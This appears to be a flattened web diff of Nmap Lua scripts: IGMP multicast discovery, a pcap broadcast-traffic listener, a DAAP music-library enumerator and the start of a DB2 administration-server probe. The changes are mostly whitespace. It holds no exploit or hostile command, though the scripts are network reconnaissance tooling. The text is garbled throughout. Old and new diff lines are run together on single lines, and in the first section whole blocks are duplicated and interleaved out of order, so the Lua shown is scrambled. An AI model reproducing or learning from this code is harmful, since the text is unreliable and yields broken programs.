-- Function to compare wieght of an IGMP response message. -- Function to compare wieght of an IGMP response message.
-- Used to sort elements in responses table. -- Used to sort elements in responses table.
local respCompare = function(a,b) local respCompare = function(a,b)
return ipOps.todword(a.src) + a.type + (a.ngroups or ipOps.todword(a.group)) return ipOps.todword(a.src) + a.type + (a.ngroups or ipOps.todword(a.group))
< ipOps.todword(b.src) + b.type + (b.ngroups or ipOps.todword(b.group)) < ipOps.todword(b.src) + b.type + (b.ngroups or ipOps.todword(b.group))
end end
local mgroup_names_fetch = function(filename) local mgroup_names_fetch = function(filename)
local groupnames_db = {} local groupnames_db = {}
local file = io.open(filename, "r") local file = io.open(filename, "r")
if not file then if not file then
return false return false
end end
for l in file:lines() do for l in file:lines() do
groupnames_db[#groupnames_db + 1] = stdnse.strsplit("\t", l) groupnames_db[#groupnames_db + 1] = stdnse.strsplit("\t", l)
end end
file:close() file:close()
return groupnames_db return groupnames_db
end end
local mgroup_name_identify = function(db, ip) local mgroup_name_identify = function(db, ip)
--stdnse.print_debug("%s: '%s'", SCRIPT_NAME, ip) --stdnse.print_debug("%s: '%s'", SCRIPT_NAME, ip)
for _, mg in ipairs(db) do for _, mg in ipairs(db) do
local ip1 = mg[1] local ip1 = mg[1]
local ip2 = mg[2] local ip2 = mg[2]
local desc = mg[3] local desc = mg[3]
--stdnse.print_debug("%s: try: %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc) --stdnse.print_debug("%s: try: %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc)
if (not ipOps.compare_ip(ip, "lt", ip1) and not ipOps.compare_ip(ip2, "lt", ip)) then if (not ipOps.compare_ip(ip, "lt", ip1) and not ipOps.compare_ip(ip2, "lt", ip)) then
--stdnse.print_debug("%s: found! %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc) --stdnse.print_debug("%s: found! %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc)
return desc return desc
end
end end
return false end
return false
end end
action = function(host, port) action = function(host, port)
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local version = stdnse.get_script_args(SCRIPT_NAME .. ".version") or 2 local version = stdnse.get_script_args(SCRIPT_NAME .. ".version") or 2
local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
timeout = (timeout or 7) * 1000 timeout = (timeout or 7) * 1000
if version ~= 'all' then if version ~= 'all' then
version = tonumber(version) version = tonumber(version)
end
local responses, results, interfaces, lthreads = {}, {}, {}, {}
local result, grouptable, sourcetable
local group_names_fname = stdnse.get_script_args(SCRIPT_NAME .. ".mgroupnamesdb") or
nmap.fetchfile("nselib/data/mgroupnames.db")
local mg_names_db = group_names_fname and mgroup_names_fetch(group_names_fname)
-- Check the interface
interface = interface or nmap.get_interface()
if interface then
-- Get the interface information
interface = nmap.get_interface_info(interface)
if not interface then
return ("ERROR: Failed to retreive %s interface information."):format(interface)
end end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
local responses, results, interfaces, lthreads = {}, {}, {}, {} stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
local result, grouptable, sourcetable table.insert(interfaces, iface)
end
local group_names_fname = stdnse.get_script_args(SCRIPT_NAME .. ".mgroupnamesdb") or
nmap.fetchfile("nselib/data/mgroupnames.db")
local mg_names_db = group_names_fname and mgroup_names_fetch(group_names_fname)
-- Check the interface
interface = interface or nmap.get_interface()
if interface then
-- Get the interface information
interface = nmap.get_interface_info(interface)
if not interface then
return ("ERROR: Failed to retreive %s interface information."):format(interface)
end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
table.insert(interfaces, iface)
end
end
end end
end
-- We should iterate over interfaces -- We should iterate over interfaces
for _, interface in pairs(interfaces) do for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(igmpListener, interface, timeout, responses) local co = stdnse.new_thread(igmpListener, interface, timeout, responses)
igmpQuery(interface, version) igmpQuery(interface, version)
lthreads[co] = true lthreads[co] = true
end
local condvar = nmap.condvar(responses)
-- Wait for the listening threads to finish
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end end
if ( next(lthreads) ) then
local condvar = nmap.condvar(responses) condvar("wait")
-- Wait for the listening threads to finish
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil;
-- Output useful info from the responses
if #responses > 0 then
-- We should sort our list here.
-- This is useful to have consistent results for tools such as Ndiff.
table.sort(responses, respCompare)
for _, response in pairs(responses) do
result = {}
result.name = response.src
table.insert(result, "Interface: " .. response.interface)
-- Add to new targets if newtargets script arg provided
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
if response.type == 0x12 then
table.insert(result, "Version: 1")
table.insert(result, "Multicast group: ".. response.group)
elseif response.type == 0x16 then
table.insert(result, "Version: 2")
table.insert(result, "Group: ".. response.group)
local mg_desc = mgroup_name_identify(mg_names_db, response.group)
if mg_desc then
table.insert(result, "Description: ".. mg_desc)
end
elseif response.type == 0x22 then
table.insert(result, "Version: 3")
for _, group in pairs(response.groups) do
grouptable = {}
grouptable.name = "Group: " .. group.address
if group.mode == 0x01 then
table.insert(grouptable, "Mode: INCLUDE")
elseif group.mode == 0x02 then
table.insert(grouptable, "Mode: EXCLUDE")
end
local mg_desc = mgroup_name_identify(mg_names_db, group.address)
if mg_desc then
table.insert(grouptable, "Description: ".. mg_desc)
end
if group.nsrc > 0 then
sourcetable = {}
sourcetable.name = "Sources:"
table.insert(sourcetable, group.src)
table.insert(grouptable, sourcetable)
end
table.insert(result, grouptable)
end
end
table.insert(results, result)
end
if #results>0 and not target.ALLOW_NEW_TARGETS then
table.insert(results,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, results)
end end
until next(lthreads) == nil;
-- Output useful info from the responses
if #responses > 0 then
-- We should sort our list here.
-- This is useful to have consistent results for tools such as Ndiff.
table.sort(responses, respCompare)
for _, response in pairs(responses) do
result = {}
result.name = response.src
table.insert(result, "Interface: " .. response.interface)
-- Add to new targets if newtargets script arg provided
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
if response.type == 0x12 then
table.insert(result, "Version: 1")
table.insert(result, "Multicast group: ".. response.group)
elseif response.type == 0x16 then
table.insert(result, "Version: 2")
table.insert(result, "Group: ".. response.group)
local mg_desc = mgroup_name_identify(mg_names_db, response.group)
if mg_desc then
table.insert(result, "Description: ".. mg_desc)
end
elseif response.type == 0x22 then
table.insert(result, "Version: 3")
for _, group in pairs(response.groups) do
grouptable = {}
grouptable.name = "Group: " .. group.address
if group.mode == 0x01 then
table.insert(grouptable, "Mode: INCLUDE")
elseif group.mode == 0x02 then
table.insert(grouptable, "Mode: EXCLUDE")
end
local mg_desc = mgroup_name_identify(mg_names_db, group.address)
if mg_desc then
table.insert(grouptable, "Description: ".. mg_desc)
end
if group.nsrc > 0 then
sourcetable = {}
sourcetable.name = "Sources:"
table.insert(sourcetable, group.src)
table.insert(grouptable, sourcetable)
end
table.insert(result, grouptable)
end
end
table.insert(results, result)
end
if #results>0 and not target.ALLOW_NEW_TARGETS then
table.insert(results,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, results)
end
end end

View File

@@ -70,11 +70,11 @@ unless a specific interface was given using the -e argument to Nmap.
-- Version 0.1 -- Version 0.1
-- Created 07/02/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 07/02/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/25/2011 - v0.2 - -- Revised 07/25/2011 - v0.2 -
-- * added more documentation -- * added more documentation
-- * added getInterfaces code to detect available -- * added getInterfaces code to detect available
-- interfaces. -- interfaces.
-- * corrected bug that would fail to load -- * corrected bug that would fail to load
-- decoders if not in a relative directory. -- decoders if not in a relative directory.
@@ -86,11 +86,11 @@ categories = {"broadcast", "safe"}
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
--- ---
@@ -101,26 +101,26 @@ end
-- @return decoders table of decoder functions on success -- @return decoders table of decoder functions on success
-- @return err string containing the error message on failure -- @return err string containing the error message on failure
loadDecoders = function(fname) loadDecoders = function(fname)
-- resolve the full, absolute, path -- resolve the full, absolute, path
local abs_fname = nmap.fetchfile(fname) local abs_fname = nmap.fetchfile(fname)
if ( not(abs_fname) ) then if ( not(abs_fname) ) then
return false, ("ERROR: Failed to load decoder definition (%s)"):format(fname) return false, ("ERROR: Failed to load decoder definition (%s)"):format(fname)
end end
local env = setmetatable({Decoders = {}}, {__index = _G}); local env = setmetatable({Decoders = {}}, {__index = _G});
local file = loadfile(abs_fname, "t", env) local file = loadfile(abs_fname, "t", env)
if(not(file)) then if(not(file)) then
stdnse.print_debug("%s: Couldn't load decoder file: %s", SCRIPT_NAME, fname) stdnse.print_debug("%s: Couldn't load decoder file: %s", SCRIPT_NAME, fname)
return false, "ERROR: Couldn't load decoder file: " .. fname return false, "ERROR: Couldn't load decoder file: " .. fname
end end
file() file()
local d = env.Decoders local d = env.Decoders
if ( d ) then return true, d end if ( d ) then return true, d end
return false, "ERROR: Failed to load decoders" return false, "ERROR: Failed to load decoders"
end end
--- ---
@@ -130,66 +130,66 @@ end
-- @param iface table containing <code>name</code> and <code>address</code> -- @param iface table containing <code>name</code> and <code>address</code>
-- @param Decoders the decoders class loaded externally -- @param Decoders the decoders class loaded externally
-- @param decodertab the "result" table to which all discovered items are -- @param decodertab the "result" table to which all discovered items are
-- reported -- reported
sniffInterface = function(iface, Decoders, decodertab) sniffInterface = function(iface, Decoders, decodertab)
local condvar = nmap.condvar(decodertab) local condvar = nmap.condvar(decodertab)
local sock = nmap.new_socket() local sock = nmap.new_socket()
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-listener.timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-listener.timeout"))
-- default to 30 seconds, if nothing else was set -- default to 30 seconds, if nothing else was set
timeout = (timeout or 30) * 1000 timeout = (timeout or 30) * 1000
-- We want all packets that aren't explicitly for us -- We want all packets that aren't explicitly for us
sock:pcap_open(iface.name, 1500, true, ("!host %s"):format(iface.address)) sock:pcap_open(iface.name, 1500, true, ("!host %s"):format(iface.address))
-- Set a short timeout so that we can timeout in time if needed -- Set a short timeout so that we can timeout in time if needed
sock:set_timeout(100) sock:set_timeout(100)
local start_time = nmap.clock_ms() local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do while( nmap.clock_ms() - start_time < timeout ) do
local status, _, _, data = sock:pcap_receive() local status, _, _, data = sock:pcap_receive()
if ( status ) then if ( status ) then
local p = packet.Packet:new( data, #data ) local p = packet.Packet:new( data, #data )
-- if we have an UDP-based broadcast, we should have a proper packet -- if we have an UDP-based broadcast, we should have a proper packet
if ( p and p.udp_dport and ( decodertab.udp[p.udp_dport] or Decoders.udp[p.udp_dport] ) ) then if ( p and p.udp_dport and ( decodertab.udp[p.udp_dport] or Decoders.udp[p.udp_dport] ) ) then
if ( not(decodertab.udp[p.udp_dport]) ) then if ( not(decodertab.udp[p.udp_dport]) ) then
decodertab.udp[p.udp_dport] = Decoders.udp[p.udp_dport]:new() decodertab.udp[p.udp_dport] = Decoders.udp[p.udp_dport]:new()
end end
decodertab.udp[p.udp_dport]:process(data) decodertab.udp[p.udp_dport]:process(data)
-- The packet was decoded successfully but we don't have a valid decoder -- The packet was decoded successfully but we don't have a valid decoder
-- Report this -- Report this
elseif ( p and p.udp_dport ) then elseif ( p and p.udp_dport ) then
stdnse.print_debug(2, "No decoder for dst port %d", p.udp_dport) stdnse.print_debug(2, "No decoder for dst port %d", p.udp_dport)
-- we don't have a packet, so this is most likely something layer2 based -- we don't have a packet, so this is most likely something layer2 based
-- in that case, check the ether Decoder table for pattern matches -- in that case, check the ether Decoder table for pattern matches
else else
-- attempt to find a match for a pattern -- attempt to find a match for a pattern
local pos, hex = bin.unpack("H" .. #data, data) local pos, hex = bin.unpack("H" .. #data, data)
local decoded = false local decoded = false
for match, _ in pairs(Decoders.ether) do for match, _ in pairs(Decoders.ether) do
-- attempts to match the "raw" packet against a filter -- attempts to match the "raw" packet against a filter
-- supplied in each ethernet packet decoder -- supplied in each ethernet packet decoder
if ( hex:match(match) ) then if ( hex:match(match) ) then
if ( not(decodertab.ether[match]) ) then if ( not(decodertab.ether[match]) ) then
decodertab.ether[match] = Decoders.ether[match]:new() decodertab.ether[match] = Decoders.ether[match]:new()
end end
-- start a new decoding thread. This way, if something gets foobared -- start a new decoding thread. This way, if something gets foobared
-- the whole script doesn't break, only the packet decoding for that -- the whole script doesn't break, only the packet decoding for that
-- specific packet. -- specific packet.
stdnse.new_thread( decodertab.ether[match].process, decodertab.ether[match], data ) stdnse.new_thread( decodertab.ether[match].process, decodertab.ether[match], data )
decoded = true decoded = true
end end
end end
-- no decoder was found for this layer2 packet -- no decoder was found for this layer2 packet
if ( not(decoded) and #data > 10 ) then if ( not(decoded) and #data > 10 ) then
stdnse.print_debug(1, "No decoder for packet hex: %s", select(2, bin.unpack("H10", data) ) ) stdnse.print_debug(1, "No decoder for packet hex: %s", select(2, bin.unpack("H10", data) ) )
end end
end end
end end
end end
condvar "signal" condvar "signal"
end end
--- ---
@@ -199,96 +199,96 @@ end
-- @param link string containing the link type to filter -- @param link string containing the link type to filter
-- @param up string containing the interface status to filter -- @param up string containing the interface status to filter
-- @return result table containing tables of interfaces -- @return result table containing tables of interfaces
-- each interface table has the following fields: -- each interface table has the following fields:
-- <code>name</code> containing the device name -- <code>name</code> containing the device name
-- <code>address</code> containing the device address -- <code>address</code> containing the device address
getInterfaces = function(link, up) getInterfaces = function(link, up)
if( not(nmap.list_interfaces) ) then return end if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces() local interfaces, err = nmap.list_interfaces()
local result = {} local result = {}
if ( not(err) ) then if ( not(err) ) then
for _, iface in ipairs(interfaces) do for _, iface in ipairs(interfaces) do
if ( iface.link == link and if ( iface.link == link and
iface.up == up and iface.up == up and
iface.address ) then iface.address ) then
-- exclude ipv6 addresses for now -- exclude ipv6 addresses for now
if ( not(iface.address:match(":")) ) then if ( not(iface.address:match(":")) ) then
table.insert(result, { name = iface.device, table.insert(result, { name = iface.device,
address = iface.address } ) address = iface.address } )
end end
end end
end end
end end
return result return result
end end
action = function() action = function()
local DECODERFILE = "nselib/data/packetdecoders.lua" local DECODERFILE = "nselib/data/packetdecoders.lua"
local iface = nmap.get_interface() local iface = nmap.get_interface()
local interfaces = {} local interfaces = {}
-- was an interface supplied using the -e argument? -- was an interface supplied using the -e argument?
if ( iface ) then if ( iface ) then
local iinfo, err = nmap.get_interface_info(iface) local iinfo, err = nmap.get_interface_info(iface)
if ( not(iinfo.address) ) then if ( not(iinfo.address) ) then
return "\n ERROR: The IP address of the interface could not be determined ..." return "\n ERROR: The IP address of the interface could not be determined ..."
end end
interfaces = { { name = iface, address = iinfo.address } } interfaces = { { name = iface, address = iinfo.address } }
else else
-- no interface was supplied, attempt autodiscovery -- no interface was supplied, attempt autodiscovery
interfaces = getInterfaces("ethernet", "up") interfaces = getInterfaces("ethernet", "up")
end end
-- make sure we have at least one interface to start sniffing -- make sure we have at least one interface to start sniffing
if ( #interfaces == 0 ) then if ( #interfaces == 0 ) then
return "\n ERROR: Could not determine any valid interfaces" return "\n ERROR: Could not determine any valid interfaces"
end end
-- load the decoders from file -- load the decoders from file
local status, Decoders = loadDecoders(DECODERFILE) local status, Decoders = loadDecoders(DECODERFILE)
if ( not(status) ) then return "\n " .. Decoders end if ( not(status) ) then return "\n " .. Decoders end
-- create a local table to handle instantiated decoders -- create a local table to handle instantiated decoders
local decodertab = { udp = {}, ether = {} } local decodertab = { udp = {}, ether = {} }
local condvar = nmap.condvar(decodertab) local condvar = nmap.condvar(decodertab)
local threads = {} local threads = {}
-- start a thread for each interface to sniff -- start a thread for each interface to sniff
for _, iface in ipairs(interfaces) do for _, iface in ipairs(interfaces) do
local co = stdnse.new_thread(sniffInterface, iface, Decoders, decodertab) local co = stdnse.new_thread(sniffInterface, iface, Decoders, decodertab)
threads[co] = true threads[co] = true
end end
-- wait for all threads to finish sniffing -- wait for all threads to finish sniffing
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then if coroutine.status(thread) == "dead" then
threads[thread] = nil threads[thread] = nil
end end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
local out_outer = {} local out_outer = {}
-- create the results table -- create the results table
for proto, _ in pairs(decodertab) do for proto, _ in pairs(decodertab) do
local out_inner = {} local out_inner = {}
for key, decoder in pairs(decodertab[proto]) do for key, decoder in pairs(decodertab[proto]) do
table.insert( out_inner, decodertab[proto][key]:getResults() ) table.insert( out_inner, decodertab[proto][key]:getResults() )
end end
if ( #out_inner > 0 ) then if ( #out_inner > 0 ) then
table.insert( out_outer, { name = proto, out_inner } ) table.insert( out_outer, { name = proto, out_inner } )
end end
end end
table.sort(out_outer, function(a, b) return a.name < b.name end) table.sort(out_outer, function(a, b) return a.name < b.name end)
return stdnse.format_output(true, out_outer) return stdnse.format_output(true, out_outer)
end end

View File

@@ -57,24 +57,24 @@ portrule = shortport.port_or_service(3689, "daap")
-- @param port table containing number and protocol fields. -- @param port table containing number and protocol fields.
-- @return string containing the name of the library -- @return string containing the name of the library
function getLibraryName( host, port ) function getLibraryName( host, port )
local _, libname, pos local _, libname, pos
local url = "daap://" .. host.ip .. "/server-info" local url = "daap://" .. host.ip .. "/server-info"
local response = http.get( host, port, url, nil, nil, nil) local response = http.get( host, port, url, nil, nil, nil)
if response == nil or response.body == nil or response.body=="" then if response == nil or response.body == nil or response.body=="" then
return return
end end
pos = string.find(response.body, "minm") pos = string.find(response.body, "minm")
if pos > 0 then if pos > 0 then
local len local len
pos = pos + 4 pos = pos + 4
pos, len = bin.unpack( ">I", response.body, pos ) pos, len = bin.unpack( ">I", response.body, pos )
pos, libname = bin.unpack( "A" .. len, response.body, pos ) pos, libname = bin.unpack( "A" .. len, response.body, pos )
end end
return libname return libname
end end
--- Reads the first item value specified by name --- Reads the first item value specified by name
@@ -84,23 +84,23 @@ end
-- @return number -- @return number
local function getAttributeAsInt( data, name ) local function getAttributeAsInt( data, name )
local pos = string.find(data, name) local pos = string.find(data, name)
local attrib local attrib
if pos and pos > 0 then if pos and pos > 0 then
pos = pos + 4 pos = pos + 4
local len local len
pos, len = bin.unpack( ">I", data, pos ) pos, len = bin.unpack( ">I", data, pos )
if ( len ~= 4 ) then if ( len ~= 4 ) then
stdnse.print_debug( string.format("Unexpected length returned: %d", len ) ) stdnse.print_debug( string.format("Unexpected length returned: %d", len ) )
return return
end end
pos, attrib = bin.unpack( ">I", data, pos ) pos, attrib = bin.unpack( ">I", data, pos )
end end
return attrib return attrib
end end
@@ -111,14 +111,14 @@ end
-- @return number containing the session identity received from the server -- @return number containing the session identity received from the server
function getSessionId( host, port ) function getSessionId( host, port )
local _, sessionid local _, sessionid
local response = http.get( host, port, "/login", nil, nil, nil ) local response = http.get( host, port, "/login", nil, nil, nil )
if response ~= nil then if response ~= nil then
sessionid = getAttributeAsInt( response.body, "mlid") sessionid = getAttributeAsInt( response.body, "mlid")
end end
return sessionid return sessionid
end end
--- Gets the revision number for the library --- Gets the revision number for the library
@@ -128,15 +128,15 @@ end
-- @param sessionid number containing session identifier from <code>getSessionId</code> -- @param sessionid number containing session identifier from <code>getSessionId</code>
-- @return number containing the revision number for the library -- @return number containing the revision number for the library
function getRevisionNumber( host, port, sessionid ) function getRevisionNumber( host, port, sessionid )
local url = "/update?session-id=" .. sessionid .. "&revision-number=1" local url = "/update?session-id=" .. sessionid .. "&revision-number=1"
local _, revision local _, revision
local response = http.get( host, port, url, nil, nil, nil ) local response = http.get( host, port, url, nil, nil, nil )
if response ~= nil then if response ~= nil then
revision = getAttributeAsInt( response.body, "musr") revision = getAttributeAsInt( response.body, "musr")
end end
return revision return revision
end end
--- Gets the database identitity for the library --- Gets the database identitity for the library
@@ -146,15 +146,15 @@ end
-- @param sessionid number containing session identifier from <code>getSessionId</code> -- @param sessionid number containing session identifier from <code>getSessionId</code>
-- @param revid number containing the revision id as retrieved from <code>getRevisionNumber</code> -- @param revid number containing the revision id as retrieved from <code>getRevisionNumber</code>
function getDatabaseId( host, port, sessionid, revid ) function getDatabaseId( host, port, sessionid, revid )
local url = "/databases?session-id=" .. sessionid .. "&revision-number=" .. revid local url = "/databases?session-id=" .. sessionid .. "&revision-number=" .. revid
local response = http.get( host, port, url, nil, nil, nil ) local response = http.get( host, port, url, nil, nil, nil )
local miid local miid
if response ~= nil then if response ~= nil then
miid = getAttributeAsInt( response.body, "miid") miid = getAttributeAsInt( response.body, "miid")
end end
return miid return miid
end end
--- Gets a string item type from data --- Gets a string item type from data
@@ -164,19 +164,19 @@ end
-- @return pos number containing new position after reading string -- @return pos number containing new position after reading string
-- @return value string containing the string item that was read -- @return value string containing the string item that was read
local function getStringItem( data, pos ) local function getStringItem( data, pos )
local len local len
pos, len = bin.unpack(">I", data, pos) pos, len = bin.unpack(">I", data, pos)
if ( len > 0 ) then if ( len > 0 ) then
return bin.unpack( "A"..len, data, pos ) return bin.unpack( "A"..len, data, pos )
end end
end end
local itemFetcher = {} local itemFetcher = {}
itemFetcher["mikd"] = function( data, pos ) return getStringItem( data, pos ) end itemFetcher["mikd"] = function( data, pos ) return getStringItem( data, pos ) end
itemFetcher["miid"] = itemFetcher["mikd"] itemFetcher["miid"] = itemFetcher["mikd"]
itemFetcher["minm"] = itemFetcher["mikd"] itemFetcher["minm"] = itemFetcher["mikd"]
itemFetcher["asal"] = itemFetcher["mikd"] itemFetcher["asal"] = itemFetcher["mikd"]
@@ -190,22 +190,22 @@ itemFetcher["asar"] = itemFetcher["mikd"]
-- <code>asal</code> and <code>asar</code> when available -- <code>asal</code> and <code>asar</code> when available
parseItem = function( data, len ) parseItem = function( data, len )
local pos, name, value = 1, nil, nil local pos, name, value = 1, nil, nil
local item = {} local item = {}
while( len - pos > 0 ) do while( len - pos > 0 ) do
pos, name = bin.unpack( "A4", data, pos ) pos, name = bin.unpack( "A4", data, pos )
if itemFetcher[name] then if itemFetcher[name] then
pos, item[name] = itemFetcher[name](data, pos ) pos, item[name] = itemFetcher[name](data, pos )
else else
stdnse.print_debug( string.format("No itemfetcher for: %s", name) ) stdnse.print_debug( string.format("No itemfetcher for: %s", name) )
break break
end end
end end
return item return item
end end
@@ -218,124 +218,124 @@ end
-- @param limit number containing the maximum amount of songs to return -- @param limit number containing the maximum amount of songs to return
-- @return table containing the following structure [artist][album][songs] -- @return table containing the following structure [artist][album][songs]
function getItems( host, port, sessionid, revid, dbid, limit ) function getItems( host, port, sessionid, revid, dbid, limit )
local meta = "dmap.itemid,dmap.itemname,dmap.itemkind,daap.songalbum,daap.songartist" local meta = "dmap.itemid,dmap.itemname,dmap.itemkind,daap.songalbum,daap.songartist"
local url = "/databases/" .. dbid .. "/items?type=music&meta=" .. meta .. "&session-id=" .. sessionid .. "&revision-number=" .. revid local url = "/databases/" .. dbid .. "/items?type=music&meta=" .. meta .. "&session-id=" .. sessionid .. "&revision-number=" .. revid
local response = http.get( host, port, url, nil, nil, nil ) local response = http.get( host, port, url, nil, nil, nil )
local item, data, pos, len local item, data, pos, len
local items = {} local items = {}
local limit = limit or -1 local limit = limit or -1
if response == nil then if response == nil then
return return
end end
-- get our position to the list of items -- get our position to the list of items
pos = string.find(response.body, "mlcl") pos = string.find(response.body, "mlcl")
pos = pos + 4 pos = pos + 4
while ( pos > 0 and pos + 8 < response.body:len() ) do while ( pos > 0 and pos + 8 < response.body:len() ) do
-- find the next single item -- find the next single item
pos = string.find(response.body, "mlit", pos) pos = string.find(response.body, "mlit", pos)
pos = pos + 4 pos = pos + 4
pos, len = bin.unpack( ">I", response.body, pos ) pos, len = bin.unpack( ">I", response.body, pos )
if ( pos < response.body:len() and pos + len < response.body:len() ) then if ( pos < response.body:len() and pos + len < response.body:len() ) then
pos, data = bin.unpack( "A" .. len, response.body, pos ) pos, data = bin.unpack( "A" .. len, response.body, pos )
else else
break break
end end
-- parse a single item -- parse a single item
item = parseItem( data, len ) item = parseItem( data, len )
local album = item.asal or "unknown" local album = item.asal or "unknown"
local artist= item.asar or "unknown" local artist= item.asar or "unknown"
local song = item.minm or "" local song = item.minm or ""
if items[artist] == nil then if items[artist] == nil then
items[artist] = {} items[artist] = {}
end end
if items[artist][album] == nil then if items[artist][album] == nil then
items[artist][album] = {} items[artist][album] = {}
end end
if limit == 0 then if limit == 0 then
break break
elseif limit > 0 then elseif limit > 0 then
limit = limit - 1 limit = limit - 1
end end
table.insert( items[artist][album], song ) table.insert( items[artist][album], song )
end end
return items return items
end end
action = function(host, port) action = function(host, port)
local limit = tonumber(nmap.registry.args.daap_item_limit) or 100 local limit = tonumber(nmap.registry.args.daap_item_limit) or 100
local libname = getLibraryName( host, port ) local libname = getLibraryName( host, port )
if libname == nil then if libname == nil then
return return
end end
local sessionid = getSessionId( host, port ) local sessionid = getSessionId( host, port )
if sessionid == nil then if sessionid == nil then
return stdnse.format_output(true, "Libname: " .. libname) return stdnse.format_output(true, "Libname: " .. libname)
end end
local revid = getRevisionNumber( host, port, sessionid ) local revid = getRevisionNumber( host, port, sessionid )
if revid == nil then if revid == nil then
return stdnse.format_output(true, "Libname: " .. libname) return stdnse.format_output(true, "Libname: " .. libname)
end end
local dbid = getDatabaseId( host, port, sessionid, revid ) local dbid = getDatabaseId( host, port, sessionid, revid )
if dbid == nil then if dbid == nil then
return return
end end
local items = getItems( host, port, sessionid, revid, dbid, limit ) local items = getItems( host, port, sessionid, revid, dbid, limit )
if items == nil then if items == nil then
return return
end end
local albums, songs, artists, results = {}, {}, {}, {} local albums, songs, artists, results = {}, {}, {}, {}
table.insert( results, libname ) table.insert( results, libname )
for artist, v in pairs(items) do for artist, v in pairs(items) do
albums = {} albums = {}
for album, v2 in pairs(v) do for album, v2 in pairs(v) do
songs = {} songs = {}
for _, song in pairs( v2 ) do for _, song in pairs( v2 ) do
table.insert( songs, song ) table.insert( songs, song )
end end
table.insert( albums, album ) table.insert( albums, album )
table.insert( albums, songs ) table.insert( albums, songs )
end end
table.insert( artists, artist ) table.insert( artists, artist )
table.insert( artists, albums ) table.insert( artists, albums )
end end
table.insert( results, artists ) table.insert( results, artists )
local output = stdnse.format_output( true, results ) local output = stdnse.format_output( true, results )
if limit > 0 then if limit > 0 then
output = output .. string.format("\n\nOutput limited to %d items", limit ) output = output .. string.format("\n\nOutput limited to %d items", limit )
end end
return output return output
end end

View File

@@ -103,13 +103,13 @@ portrule = shortport.version_port_or_service({523}, nil,
-- @return string containing the complete server profile -- @return string containing the complete server profile
function extract_server_profile(data) function extract_server_profile(data)
local server_profile_offset = 37 local server_profile_offset = 37
if server_profile_offset > data:len() then if server_profile_offset > data:len() then
return return
end end
return data:sub(server_profile_offset) return data:sub(server_profile_offset)
end end
@@ -124,28 +124,28 @@ end
-- @return table with parsed data -- @return table with parsed data
function parse_db2_packet(packet) function parse_db2_packet(packet)
local info_length_offset = 158 local info_length_offset = 158
local info_offset = 160 local info_offset = 160
local version_offset = 97 local version_offset = 97
local response = {} local response = {}
if packet.header.data_len < info_length_offset then if packet.header.data_len < info_length_offset then
stdnse.print_debug( "db2-das-info: packet too short to be DB2 response...") stdnse.print_debug( "db2-das-info: packet too short to be DB2 response...")
return return
end end
local _, len = bin.unpack(">S", packet.data:sub(info_length_offset, info_length_offset + 1)) local _, len = bin.unpack(">S", packet.data:sub(info_length_offset, info_length_offset + 1))
_, response.version = bin.unpack("z", packet.data:sub(version_offset) ) _, response.version = bin.unpack("z", packet.data:sub(version_offset) )
response.info_length = len - 4 response.info_length = len - 4
response.info = packet.data:sub(info_offset, info_offset + response.info_length - (info_offset-info_length_offset)) response.info = packet.data:sub(info_offset, info_offset + response.info_length - (info_offset-info_length_offset))
if(nmap.debugging() > 3) then if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: version: %s", response.version) ) stdnse.print_debug( string.format("db2-das-info: version: %s", response.version) )
stdnse.print_debug( string.format("db2-das-info: info_length: %d", response.info_length) ) stdnse.print_debug( string.format("db2-das-info: info_length: %d", response.info_length) )
stdnse.print_debug( string.format("db2-das-info: response.info:len(): %d", response.info:len())) stdnse.print_debug( string.format("db2-das-info: response.info:len(): %d", response.info:len()))
end end
return response return response
end end
@@ -163,67 +163,67 @@ end
-- @return table with header and data -- @return table with header and data
function read_db2_packet(socket) function read_db2_packet(socket)
local packet = {} local packet = {}
local header_len = 41 local header_len = 41
local total_len = 0 local total_len = 0
local buf local buf
